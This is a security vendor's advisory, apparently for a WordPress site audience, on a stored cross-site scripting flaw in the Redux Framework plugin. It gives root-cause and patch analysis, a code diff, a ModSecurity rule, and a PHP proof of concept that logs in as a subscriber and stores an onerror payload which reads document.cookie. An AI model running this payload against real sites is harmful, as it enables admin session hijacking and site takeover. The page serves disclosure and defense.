Published : November 21, 2026

CVE-2026-120679: Redux Framework <= 4.5.17 Authenticated (Subscriber+) Stored Cross-Site Scripting via Color Field Validator Warning Message PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 4.5.17
Patched Version 4.5.18
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120679: The Redux Framework WordPress plugin, versions up to and including 4.5.17, suffers from an authenticated (Subscriber+) stored cross-site scripting (XSS) vulnerability. The flaw resides in the color field validation routine where user-supplied values are embedded into warning messages without proper output escaping. An attacker with subscriber-level access can inject a specially crafted payload that bypasses the wp_kses_post() sanitization, which later executes when an administrator views the field, potentially leading to full site compromise. The CVSS score is 5.4, reflecting the need for user interaction and privileges.

Root Cause: The vulnerability originates in the color validation class, specifically in the file redux-framework/redux-core/inc/validation/color/class-redux-validation-color.php. When an invalid or sanitized color value is encountered, the code constructs a warning message using sprintf() and inserts the raw user input into an HTML tag without escaping. For example, lines 31-33 in the vulnerable version build a message like: '' . $this->value . ''. Similarly, lines 47-49 do the same for the sanitized value and the original value. Although the entire message is passed through esc_html__() for translation, the user input is concatenated directly into the string, so esc_html__() only escapes the translated string, not the concatenated user data. The wp_kses_post() sanitization applied later via Redux_Helpers::sanitize_array() allows certain HTML tags and attributes, including with class and title attributes. Attackers can craft a payload that uses these allowed elements to smuggle a malicious onerror handler encoded as HTML entities within the title attribute. When the message is rendered and later processed by WordPress core's thickbox.js, the entity-encoded JavaScript is decoded and executed.

Exploitation: An attacker with subscriber-level access can submit a crafted value for a color field parameter named []. The payload must be designed to trigger the validation error or sanitization mismatch and include an anchor tag with a thickbox class and a title attribute containing an entity-encoded image tag with an onerror handler. For instance, a value like 'invalidclick' would be embedded into the warning message. When an administrator later accesses the plugin settings page or a page where the warning is displayed, thickbox.js reads the title attribute and inserts it into the DOM as HTML, causing the onerror JavaScript to execute in the admin's browser.

Patch Analysis: The patch in version 4.5.18 addresses the root cause by applying esc_html() to the user-controlled portions before concatenation. In class-redux-validation-color.php, lines 34 and 50 now wrap $this->value, $sanitized_value, and $this->value with esc_html(), ensuring that any HTML special characters are converted to entities and cannot break out of the context. This prevents the injection of the anchor tag and the subsequent entity-encoded payload. The patch does not alter the wp_kses_post() filtering, as the bypass relied on allowed tags and attributes; instead, it neutralizes the input at the point of message construction.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator's session. This can lead to session hijacking, creation of rogue administrative accounts, installation of malicious plugins or themes, and full site takeover. The stored nature of the vulnerability means the payload persists until removed, affecting any administrator who views the compromised field. The requirement for administrator interaction (viewing the page) and subscriber-level authentication reduces the attack surface but does not eliminate the risk, especially in multi-author or community sites where subscribers are common.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/redux-framework/redux-core/framework.php
+++ b/redux-framework/redux-core/framework.php
@@ -33,7 +33,7 @@
 require_once __DIR__ . '/class-redux-core.php';

 // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Variable is inside a prefixed class.
-Redux_Core::$version    = '4.5.17';
+Redux_Core::$version    = '4.5.18';
 Redux_Core::$redux_path = __DIR__;
 Redux_Core::instance();

--- a/redux-framework/redux-core/inc/extensions/color_scheme/class-redux-extension-color-scheme.php
+++ b/redux-framework/redux-core/inc/extensions/color_scheme/class-redux-extension-color-scheme.php
@@ -6,7 +6,7 @@
  * @author  Kevin Provance <kevin.provance@gmail.com>
  * @class   Redux_Extension_Color_Scheme
  *
- * @version 4.5.10
+ * @version 4.5.18
  *
  * @noinspection PhpIgnoredClassAliasDeclaration
  */
@@ -26,7 +26,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.5.10';
+		public static $version = '4.5.18';

 		/**
 		 * Extension friendly name.
@@ -569,7 +569,7 @@
 			// Set header info.
 			header( 'Content-Description: File Transfer' );
 			header( 'Content-type: application/txt' );
-			header( 'Content-Disposition: attachment; filename="redux_schemes_' . $this->parent->args['opt_name'] . '_' . $this->field_id . '_' . gmdate( 'm-d-Y' ) . '.json"' );
+			header( 'Content-Disposition: attachment; filename="redux_schemes_' . $this->parent->args['opt_name'] . '_' . $this->field_id . '_' . gmdate( 'm-d-Y-H-i' ) . '.json"' );
 			header( 'Content-Transfer-Encoding: binary' );
 			header( 'Expires: 0' );
 			header( 'Cache-Control: must-revalidate' );
--- a/redux-framework/redux-core/inc/extensions/custom_fonts/class-redux-extension-custom-fonts.php
+++ b/redux-framework/redux-core/inc/extensions/custom_fonts/class-redux-extension-custom-fonts.php
@@ -5,7 +5,7 @@
  * @package Redux
  * @author  Kevin Provance <kevin.provance@gmail.com> & Dovy Paukstys <dovy@reduxframework.com>
  * @class   Redux_Extension_Custom_Fonts
- * @version 4.5.10
+ * @version 4.5.18
  *
  * @noinspection PhpHierarchyChecksInspection
  * @noinspection PhpDocFinalChecksInspection
@@ -26,7 +26,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.5.10';
+		public static $version = '4.5.18';

 		/**
 		 * Extension friendly name.
--- a/redux-framework/redux-core/inc/extensions/customizer/class-redux-extension-customizer.php
+++ b/redux-framework/redux-core/inc/extensions/customizer/class-redux-extension-customizer.php
@@ -5,7 +5,7 @@
  *
  * @package ReduxFramework/Extentions
  * @class Redux_Extension_Customizer
- * @version 4.5.1
+ * @version 4.5.18
  * @noinspection PhpIgnoredClassAliasDeclaration
  */

@@ -26,7 +26,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.5.1';
+		public static $version = '4.5.18';

 		/**
 		 * Set the name of the field.  Ideally, this will also be your extension's name.
--- a/redux-framework/redux-core/inc/extensions/icon_select/class-redux-extension-icon-select.php
+++ b/redux-framework/redux-core/inc/extensions/icon_select/class-redux-extension-icon-select.php
@@ -5,7 +5,7 @@
  * @package Redux Extentions
  * @author  Dovy Paukstys <dovy@reduxframework.com> & Kevin Provance <kevin.provance@gmail.com>
  * @class   Redux_Extension_Icon_Select
- * @version 4.4.2
+ * @version 4.5.18
  *
  * @noinspection PhpIgnoredClassAliasDeclaration
  */
@@ -28,7 +28,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.4.2';
+		public static $version = '4.5.18';

 		/**
 		 * Extension friendly name.
--- a/redux-framework/redux-core/inc/extensions/import_export/class-redux-extension-import-export.php
+++ b/redux-framework/redux-core/inc/extensions/import_export/class-redux-extension-import-export.php
@@ -3,7 +3,7 @@
  * Redux Import/Export Extension Class
  *
  * @class   Redux_Extension_Import_Export
- * @version 4.5.10
+ * @version 4.5.18
  * @package Redux Framework
  *
  * @noinspection PhpIgnoredClassAliasDeclaration
@@ -26,7 +26,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.5.10';
+		public static $version = '4.5.18';

 		/**
 		 * Is field bit.
@@ -126,7 +126,7 @@
 			if ( isset( $_GET['action'] ) && 'redux_download_options-' . $this->parent->args['opt_name'] === $_GET['action'] ) { // phpcs:ignore WordPress.Security.NonceVerification
 				header( 'Content-Description: File Transfer' );
 				header( 'Content-type: application/txt' );
-				header( 'Content-Disposition: attachment; filename="redux_options_"' . $this->parent->args['opt_name'] . '_backup_' . gmdate( 'm-d-Y' ) . '.json"' );
+				header( 'Content-Disposition: attachment; filename="redux_options_' . $this->parent->args['opt_name'] . '_backup_' . gmdate( 'm-d-Y-H-i' ) . '.json"' );
 				header( 'Content-Transfer-Encoding: binary' );
 				header( 'Expires: 0' );
 				header( 'Cache-Control: must-revalidate' );
--- a/redux-framework/redux-core/inc/extensions/metaboxes/class-redux-extension-metaboxes.php
+++ b/redux-framework/redux-core/inc/extensions/metaboxes/class-redux-extension-metaboxes.php
@@ -6,7 +6,7 @@
  * @author  Dovy Paukstys <dovy@reduxframework.com> & Kevin Provance <kevin.provance@gmail.com>
  * @class   Redux_Extension_Metaboxes
  *
- * @version 4.2.0
+ * @version 4.5.18
  */

 defined( 'ABSPATH' ) || exit;
@@ -26,7 +26,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.2.0';
+		public static $version = '4.5.18';

 		/**
 		 * Extension friendly name.
--- a/redux-framework/redux-core/inc/extensions/multi_media/class-redux-extension-multi-media.php
+++ b/redux-framework/redux-core/inc/extensions/multi_media/class-redux-extension-multi-media.php
@@ -6,7 +6,7 @@
  * @author Kevin Provance <kevin.provance@gmail.com>
  * @class   Redux_Extension_Multi_Media
  *
- * @version 4.4.1
+ * @version 4.5.18
  */

 defined( 'ABSPATH' ) || exit;
@@ -26,7 +26,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.4.1';
+		public static $version = '4.5.18';

 		/**
 		 * Extension name.
--- a/redux-framework/redux-core/inc/extensions/taxonomy/class-redux-extension-taxonomy.php
+++ b/redux-framework/redux-core/inc/extensions/taxonomy/class-redux-extension-taxonomy.php
@@ -5,7 +5,7 @@
  * @package Redux
  * @author  Dovy Paukstys
  * @class   Redux_Extension_Taxonomy
- * @version 4.4.6
+ * @version 4.5.18
  * @noinspection PhpIgnoredClassAliasDeclaration
  */

@@ -26,7 +26,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.4.19';
+		public static $version = '4.5.18';

 		/**
 		 * Extension friendly name.
--- a/redux-framework/redux-core/inc/extensions/users/class-redux-extension-users.php
+++ b/redux-framework/redux-core/inc/extensions/users/class-redux-extension-users.php
@@ -5,7 +5,7 @@
  * @package Redux
  * @author  Dovy Paukstys
  * @class   Redux_Extension_Users
- * @version 4.5.6
+ * @version 4.5.18
  */

 defined( 'ABSPATH' ) || exit;
@@ -25,7 +25,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.5.6';
+		public static $version = '4.5.18';

 		/**
 		 * Extension friendly name.
@@ -481,7 +481,7 @@
 					$this->parent->args['disable_save_warn'] = true;
 				}

-				$this->parent->transients       = get_transient( $this->parent->args['opt_name'] . '-transients-users' );
+				$this->parent->transients       = get_transient( $this->parent->args['opt_name'] . '-transients-users-' . get_current_user_id() );
 				$this->parent->transients_check = $this->parent->transients;

 				if ( isset( $this->parent->transients['notices'] ) ) {
@@ -489,7 +489,7 @@
 					$this->parent->transients['last_save_mode'] = 'users';
 				}

-				delete_transient( $this->parent->args['opt_name'] . '-transients-users' );
+				delete_transient( $this->parent->args['opt_name'] . '-transients-users-' . get_current_user_id() );

 				$this->parent->enqueue_class->init();

@@ -1019,7 +1019,7 @@

 				if ( isset( $update_transients ) ) {
 					$this->parent->transients['notices']['override'] = 1;
-					set_transient( $this->parent->args['opt_name'] . '-transients-users', $this->parent->transients );
+					set_transient( $this->parent->args['opt_name'] . '-transients-users-' . get_current_user_id(), $this->parent->transients, DAY_IN_SECONDS );
 				}
 			}

--- a/redux-framework/redux-core/inc/extensions/widget_areas/class-redux-extension-widget-areas.php
+++ b/redux-framework/redux-core/inc/extensions/widget_areas/class-redux-extension-widget-areas.php
@@ -5,7 +5,7 @@
  * @package Redux
  * @author  Dovy Paukstys (dovy)
  * @class   Redux_Extension_Widget_Areas
- * @version 4.3.20
+ * @version 4.5.18
  *
  * @noinspection PhpIgnoredClassAliasDeclaration
  */
@@ -24,7 +24,7 @@
 		 *
 		 * @var string
 		 */
-		public static $version = '4.3.20';
+		public static $version = '4.5.18';

 		/**
 		 * Extension Friendly name.
--- a/redux-framework/redux-core/inc/validation/color/class-redux-validation-color.php
+++ b/redux-framework/redux-core/inc/validation/color/class-redux-validation-color.php
@@ -31,7 +31,7 @@
 			$test = str_replace( '#', '', Redux_Core::strtolower( trim( $this->value ) ) );
 			if ( ! in_array( strlen( $test ), array( 3, 6 ), true ) ) {
 				// translators: %1$s: sanitized value.  %2$s: Old value.
-				$this->field['msg'] = $this->field['msg'] ?? sprintf( esc_html__( 'Invalid HTML color code %1$s. Please enter a valid code. No value was saved.', 'redux-framework' ), '<code>' . $this->value . '</code>' );
+				$this->field['msg'] = $this->field['msg'] ?? sprintf( esc_html__( 'Invalid HTML color code %1$s. Please enter a valid code. No value was saved.', 'redux-framework' ), '<code>' . esc_html( $this->value ) . '</code>' );

 				$this->warning = $this->field;
 				$this->value   = '';
@@ -47,7 +47,7 @@

 			if ( $sanitized_value !== $this->value ) {
 				// translators: %1$s: sanitized value.  %2$s: Old value.
-				$this->field['msg'] = $this->field['msg'] ?? sprintf( esc_html__( 'Sanitized value and saved as %1$s instead of %2$s.', 'redux-framework' ), '<code>' . $sanitized_value . '</code>', '<code>' . $this->value . '</code>' );
+				$this->field['msg'] = $this->field['msg'] ?? sprintf( esc_html__( 'Sanitized value and saved as %1$s instead of %2$s.', 'redux-framework' ), '<code>' . esc_html( $sanitized_value ) . '</code>', '<code>' . esc_html( $this->value ) . '</code>' );

 				$this->field['old']     = $this->value;
 				$this->field['current'] = $sanitized_value;
--- a/redux-framework/redux-framework.php
+++ b/redux-framework/redux-framework.php
@@ -8,7 +8,7 @@
  * Plugin URI:          https://wordpress.org/plugins/redux-framework
  * GitHub URI:          reduxframework/redux-framework
  * Description:         Build better sites in WordPress fast!
- * Version:             4.5.17
+ * Version:             4.5.18
  * Requires at least:   5.3
  * Requires PHP:        7.4
  * Author:              Team Redux

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-120679
SecRule REQUEST_URI "@rx ^/wp-admin/(admin.php|options.php)$" 
  "id:2026120679,phase:2,deny,status:403,chain,msg:'CVE-2026-120679 via Redux Framework color field XSS',severity:'CRITICAL',tag:'CVE-2026-120679'"
  SecRule ARGS_POST_NAMES "@rx [[^]]+]$" "chain"
    SecRule ARGS_POST "@rx <as+[^>]*classs*=s*.?thickbox.?.?[^>]*titles*=s*.?<imgs+[^&]*onerrors*=" "t:urlDecode,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120679 - Redux Framework <= 4.5.17 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Color Field Validator Warning Message

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Login error: ' . curl_error($ch));
}

// Step 2: Craft payload for color field parameter
// This payload uses an anchor with thickbox class and an entity-encoded img tag in the title attribute
$payload = 'invalid<a class="thickbox" title="<img src=x onerror=alert(document.cookie)>">click</a>';

// The vulnerable parameter format is <opt_name>[<color-field-id>]
// Replace 'my_opt' and 'my_color_field' with actual option name and field ID from the target site
$opt_name = 'my_opt';
$field_id = 'my_color_field';
$param_name = $opt_name . '[' . $field_id . ']';

// Step 3: Submit the payload via a request to the admin page that handles the option update
// This typically involves sending a POST to the options page with the color field value.
// In many setups, the color field is part of a larger form submitted to options.php or a custom handler.
// For demonstration, we assume the form is submitted to the same page with a nonce.

// First, fetch the settings page to obtain necessary nonces and form structure.
$settings_url = $target_url . '/wp-admin/admin.php?page=' . $opt_name . '_options'; // Adjust if needed
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$page_content = curl_exec($ch);

// Extract nonce (example: wpnonce)
preg_match('/name="_wpnonce" value="([^"]+)"/', $page_content, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Build POST data with payload
$post_data = array(
    'option_page' => $opt_name, // Often the option group
    'action' => 'update',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/admin.php?page=' . $opt_name . '_options',
    $param_name => $payload
);

// Send the update request
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$update_response = curl_exec($ch);

// Step 4: Trigger the stored XSS by having an administrator visit the page.
// In a real attack, the attacker would trick an admin into visiting the settings page.
// For the PoC, we simulate the admin's view by fetching the page with admin cookies (not shown).
// The payload will execute when the admin's browser loads the page and thickbox.js processes the title attribute.

echo "PoC completed. Payload sent. Check if stored XSS triggers on admin page visit.n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.